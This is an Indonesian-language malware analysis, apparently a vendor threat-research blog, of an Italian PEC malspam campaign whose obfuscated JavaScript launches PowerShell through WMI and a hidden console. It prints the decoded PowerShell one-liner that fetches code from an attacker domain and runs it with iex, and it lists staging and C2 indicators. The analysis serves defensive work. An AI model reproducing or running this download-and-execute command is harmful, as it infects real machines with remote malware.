Pada awal Oktober, tim riset X-Labs mengidentifikasi kampanye malspam yang menargetkan bisnis dan individu di Italia melalui PEC (Posta Elettronica Certificata). PEC adalah sistem email bersertifikat yang umum digunakan di Italia untuk komunikasi yang aman dan diakui secara hukum. Sistem ini banyak diadopsi oleh individu, bisnis, dan administrasi publik—terutama dalam kasus di mana bukti komunikasi diperlukan. Karena sifatnya yang dipercaya, PEC sering dieksploitasi oleh penjahat siber untuk tujuan jahat.
Tim kami mengamati banyak email malspam serupa yang menargetkan berbagai entitas melalui telemetri cloud mereka. Gambar 1 menggambarkan contoh email yang menggunakan PEC untuk menyebarkan kode berbahaya.

Email tersebut ditujukan untuk pelanggan Italia. Isi email telah diterjemahkan ke dalam bahasa Inggris sebagai berikut:

Nama perusahaan dan alamatnya telah sengaja disensor untuk melindungi informasi mereka. Aktor ancaman menyamarkan URL sebenarnya dengan menggunakan nama perusahaan sebagai teks tautan. Dalam email di atas, kami mengidentifikasi tautan berbahaya, yaitu:
hxxps://nk916b6wt4xq0kq92uq9a5b8xdk19cqbizqfbty7sw1jehqee3ds[.]customerconverse[.]com/aoc9h3
Subdomain tersebut tampaknya dihasilkan oleh DGA dan terlihat acak. Terdapat informasi minimal tentang domain tersebut, sehingga kemungkinan besar dikendalikan oleh penyerang. Pada saat analisis, URL tersebut aktif dan mengunduh file JavaScript berbahaya (_Fattura_38377668.js).
Mari kita lihat lebih dekat struktur skrip dan analisis perilakunya.
Analisis JavaScript
Setelah pemeriksaan awal, skrip tersebut tampak sangat obfuscated, sehingga sulit untuk mengetahui fungsionalitas aslinya. Untuk lebih memahami operasinya, kami melakukan proses de-obfuscation.
Terdapat 3 fungsi dalam skrip tersebut:
- honour_march_0thehas()
- honour_march_0wasbut(thehas, wasbut)
- hvngqasq(zfutxpog)
Mari kita breakdown setiap fungsi untuk memahaminya:
Fungsi honour_march_0thehas()
Di dalam fungsi ini, sebuah variabel bernama overchurch dideklarasikan, yang merupakan array yang berisi empat string. String dalam array overchurch tampaknya merupakan data yang diobfuscated atau di-encode. Tanpa konteks lebih lanjut, sulit untuk menentukan tujuan pasti mereka, tetapi mereka mungkin mewakili informasi yang dienkripsi atau di-encode yang dapat digunakan di tempat lain dalam kode. Gambar 2 menunjukkan cuplikan kodenya.

Fig. 2 – Overchurch code snippet
Fungsi honour_march_0wasbut(thehas, wasbut)
Fungsi ini mengambil dua parameter:
– thehas – objek atau array yang menyimpan data yang di-encode.
– wasbut – kemungkinan berfungsi sebagai kunci atau parameter tambahan untuk decoding.
Fungsi ini memanggil fungsi yang telah didefinisikan sebelumnya, honour_march_0thehas(), untuk mengambil array string (disimpan dalam viiheld). Fungsi luar honour_march_0wasbut kemudian ditugaskan ulang menjadi fungsi dalam yang melakukan operasi tertentu. Parameter input pertama dari fromhabit disesuaikan dengan mengurangi 301 (0x12D). Nilai ini kemudian digunakan untuk mengindeks ke dalam array viiheld

Fig. 3 – Deciphering the function
Jika honour_march_0wasbut[‘AiPGsL’] tidak terdefinisi, fungsi ini menginisialisasi beberapa fungsi dan variabel.
Metode decoding base64 kustom (ditunjukkan dalam Gambar 4):
– Mengambil parameter input bernama Wallsmisleading, yang diharapkan berupa string yang di-encode dengan Base64.
– Menggunakan operasi bitwise dan aritmetika modular untuk mengonversi setiap karakter Base64 menjadi nilai biner yang sesuai.
– Nilai biner yang telah didekode kemudian dikonversi kembali menjadi karakter menggunakan String.fromCharCode.
– Setelah decoding, fungsi ini membangun string yang di-encode URL. Setiap nilai karakter dikonversi ke format percent-encoded.
– Akhirnya, fungsi ini mengembalikan string yang sepenuhnya terdecode URL.
– Operasi bitwise menambahkan lapisan kompleksitas, yang bisa jadi upaya untuk menyembunyikan logika decoding.

Fig. 4 –Custom base4 decoding method
Dekoding seperti cipher menggunakan operasi XOR (ditunjukkan dalam Gambar 5):
– Fungsi ini menggunakan sebuah kunci (yang berasal dari input wAllsmisleading) untuk mendekode string input (vIiheld) dengan cara melakukan XOR pada karakter-karakter.

Fig. 5 – XOR operations
Fungsi (Gambar 6) mencoba untuk mengambil hasil yang telah dihitung sebelumnya dari parameter thehas (yang kemungkinan adalah array atau objek) menggunakan indeks fromhabit yang telah disesuaikan dan ownchurch.

Fig. 6 – Retrieving function
Akhirnya, fungsi ini mengembalikan nilai yang terdekode.
Fungsi `hvngqasq(zfutxpog)`
Fungsi ini menerima string heksadesimal (zfutxpog), memastikan bahwa jumlah karakternya genap, dan mengonversi setiap pasangan dua karakter menjadi nilai integer yang sesuai. Array angka yang dihasilkan kemudian dikembalikan. Gambar 7 menunjukkan cuplikan kodenya.

Fig. 7 – Number array code snippet
Selanjutnya, ada 3 variabel yang sekarang akan merujuk pada fungsi `honour_march_0wasbut`:
– `uaxpaudedmqohlyd`
– `ysqyhmnt`
– `hkjtqnfwmnjzwo`
Ada 2 variabel yang menyimpan nilai yang dikembalikan dari fungsi `hvngqasq` (lihat Gambar 9):
– `aosfxhvcl`
– `ollazxbarpu`

Fig. 8 – Two variables
Dengan CyberChef, nilai yang dikembalikan dari fungsi `hvngqasq` dihitung. Gambar 9 menunjukkan resep CyberChef:

Fig. 9 – CyberChef recipe
Mari kita lanjutkan untuk memeriksa bagian-bagian kode di mana nilai yang dikembalikan digunakan. Gambar 10 menunjukkan kode di mana variabel-variabel ini digunakan.

Fig. 10 – Variable code snippet
Ada operasi XOR antara elemen dari dua array, aosfxhvcl dan ollazxbarpu, dan mengubah hasilnya menjadi karakter menggunakan String.fromCharCode(). Kode tersebut cukup jelas. Untuk memeriksa nilai yang disimpan dalam variabel cqlduvdo, kami membuat kode Python berikut:

Fig. 11 – Python code

Fig. 12 – Returned result
Voila! Ini mengungkap beberapa informasi menarik. Meskipun masih tampak ditulis dalam PowerShell dan terlihat terobfuski, mari kita bahas elemen kunci.
– new-alias press c$($qgbulzirjil)l;: Ini membuat alias baru bernama press, dan membuatnya secara dinamis berdasarkan variabel $qgbulzirjil. $qgbulzirjil didefinisikan sebagai ‘ur’, sehingga c$($qgbulzirjil)l diperluas menjadi ‘curl’, menjadikan press sebagai alias untuk curl (yang digunakan untuk mengirim permintaan HTTP).
– $bumtcbxgwj=(7251,7253,7270… mendefinisikan serangkaian angka, dan loop berikutnya melakukan iterasi melalui angka-angka tersebut. Setiap angka dikurangi 7148, dan angka yang dihasilkan diubah menjadi karakter. Ini menunjukkan bahwa angka-angka tersebut mewakili kode ASCII yang terobfuski. Kami mendekode bagian ini untuk melihat outputnya. Berikut adalah kode Python di bawah ini:

Fig. 13 – Pytohn script (ASCII codes)
URL yang DIDEKODE:
gizpvovur.top/1.php?s=mints13
– .$([char](9992-9887)+’e’+’x): Ini secara dinamis membangun dan mengeksekusi sebuah perintah. Hasil matematikanya adalah 105, yang merupakan kode ASCII untuk ‘i’, sehingga ini menjadi iex, singkatan untuk perintah PowerShell Invoke-Expression, yang mengeksekusi kode di dalamnya.
– Skrip ini mengunduh atau berinteraksi dengan URL gizpvovur[.]top/1.php?s=mints13 menggunakan curl. Perilaku ini bisa menjadi bagian dari skrip untuk mengambil payload atau instruksi lebih lanjut dari server jarak jauh, dan memiliki potensi niat jahat.
Mari kita lanjut ke langkah berikutnya. Gambar 14 menunjukkan cuplikan kode lanjutan:

Fig. 14 – Folllow-up code snippet
Sekali lagi, sebuah array dibuat dan diberikan ke variabel nkgkunojefmjc. Seperti yang disebutkan sebelumnya, variabel uaxpaudedmqohlyd, ysqyhmnt, dan hkjtqnfwmnjzwo merujuk ke fungsi honour_march_0wasbut, yang menyebabkan beberapa fungsi dan variabel diinisialisasi jika kondisi tertentu (yang disebutkan di atas) tidak terpenuhi. Ini sangat memakan waktu untuk mendekode fungsi secara manual, tetapi kita bisa melakukan debug pada kode JavaScript tersebut untuk mengetahui output yang kemudian diberikan ke variabel-variabel di atas. Setelah debugging, kita mengetahui string yang diberikan kepada variabel-variabel tersebut.
– uaxpaudedmqohlyd -> “winmgmts:root\cimv2:Win32_Process”
– ysqyhmnt -> “less powershel”
– hkjtqnfwmnjzwo -> “conhost –head”
–cqlduvdo -> “l $qgbulzirjil=’ur’;new-alias press c$($qgbulzirjil)l;$bumtcbxgwj=(7251,7253,7270,7260,7266,7259,7266,7265,7262,7194,7264,7259,7260,7195,7197,7194,7260,7252,7260,7211,7263,7209,7257,7253,7258,7264,7263,7197,7199);$oayiop=(‘bronx’,’get-cmdlet’);$axvdkllmwtkm=$bumtcbxgwj;foreach($jtnsbmkhwu in $axvdkllmwtkm){$zsbvmyotsckki=$jtnsbmkhwu;$ynfictsxc=$ynfictsxc+[char]($zsbvmyotsckki-7148);$keskaghbwwme=$ynfictsxc;$peonhdgp=$keskaghbwwme};$fkzszio[2]=$peonhdgp;$ulhsdxick=’rl’;$ervchdsip=1;.$([char](9992-9887)+’e’+’x’)(press -useb $peonhdgp)”
winmgmts:root\cimv2:Win32_Process:
– Bagian kode ini menggunakan WMI (Windows Management Instrumentation) untuk mengakses informasi tentang sistem.
– winmgmts: Moniker WMI yang memberi tahu Windows Script Host untuk menggunakan objek WMI, menghubungkan ke namespace default.
– root\cimv2 adalah namespace default dalam WMI yang berisi banyak kelas terkait dengan manajemen sistem.
– Win32_Process adalah kelas WMI yang menyediakan informasi tentang proses yang berjalan di sistem. Ini memungkinkan skrip untuk berinteraksi dengan proses di mesin. Jenis aktivitas seperti ini dapat berisiko karena skrip yang menggunakan ini bisa saja digunakan untuk aktivitas jahat, seperti menghentikan proses yang terkait dengan keamanan atau memulai proses yang tidak diinginkan.
Lingkungan host konsol tanpa antarmuka:
– Perintah ini memulai conhost (Console Window Host) dalam mode headless, artinya berjalan tanpa menampilkan jendela konsol. Ini sering digunakan untuk menjalankan proses latar belakang secara diam-diam, dan bisa jadi taktik untuk menyembunyikan perilaku jahat (Eksekusi Tersembunyi).
Saat kita melanjutkan penyelidikan, kita menemukan taktik menarik lainnya. Sebuah jumlah signifikan baris komentar ditemukan, dengan kode aktif sebenarnya tersembunyi di antara mereka. Teknik ini tampaknya digunakan untuk memperkenalkan data sampah ke dalam memori, yang berpotensi bertujuan untuk merusak atau mengaburkan kode jahat. Gambar 15 menggambarkan contoh perilaku ini.

Fig. 15 – Obscring malicious code

Fig. 16 – Uncommented line
Baris kode ini hanya untuk menyusun ulang kode PowerShell sebagai berikut (Gambar 17):

Fig. 17 – PowerShell code
Kami juga menangkap lalu lintas jaringan saat berkomunikasi dengan server, yaitu gizpvovur[.]top.
Sebagai respons, kami menerima kode PowerShell yang terobfuskasi, yaitu sha1: d70b9c14c4146ade02c79eaf8aa335f1c50d4636, saat melakukan koneksi ke URL staging, yaitu hxxp://gizpvovur[.]top/1.php?s=mints13.
Gambar 18 menggambarkan hal tersebut sebagai berikut:

Gambar 18 – Kode PowerShell yang terobfuskasi
Kami mengeksekusi kode PowerShell ini di dalam lingkungan kami dan menangkap lalu lintas jaringan seperti yang ditunjukkan pada Gambar 19:

Fig. 19 – Network traffic
Permintaan GET ini tampaknya mengakses skrip PHP uvj0epxg28htr.php (nama PHP tampak berbeda di setiap permintaan) dari server C2 potensial, yaitu fjjlkfakeinfkid[.]top, dan mengirimkan tiga parameter (id, key, dan s).
– id – nama komputer atau pengidentifikasi unik untuk mesin desktop
– key – mungkin merupakan token otentikasi untuk mengotorisasi permintaan
– s – mungkin merupakan kueri waktu dalam menit, berpotensi untuk operasi tidur.
Kesimpulan
Peningkatan penggunaan PEC (Posta Elettronica Certificata) untuk mengirimkan email yang tidak diminta dengan kode JavaScript berbahaya dan terobfuskasi merupakan ancaman yang berkembang terhadap keamanan siber. Email ini memanfaatkan sifat aman dari PEC untuk mendapatkan kepercayaan, memungkinkan mereka untuk melewati beberapa filter keamanan. Obfuscation kode JavaScript membuatnya sulit untuk mendeteksi dan menganalisis muatan berbahaya, meningkatkan risiko infeksi bagi pengguna.
Pernyataan Perlindungan
Pelanggan Forcepoint dilindungi dari ancaman ini pada tahap serangan berikut:
– Tahap 2 (Menarik) – URL berbahaya yang terkait dengan serangan ini diidentifikasi dan diblokir.
– Tahap 5 (Dropper) – File dropper ditambahkan ke database berbahaya Forcepoint dan diblokir.
– Tahap 6 (Panggilan Pulang) – Domain C&C diblokir.
Ingin tahu lebih banyak mengenai forcepoint, silahkan hubungi [email protected]
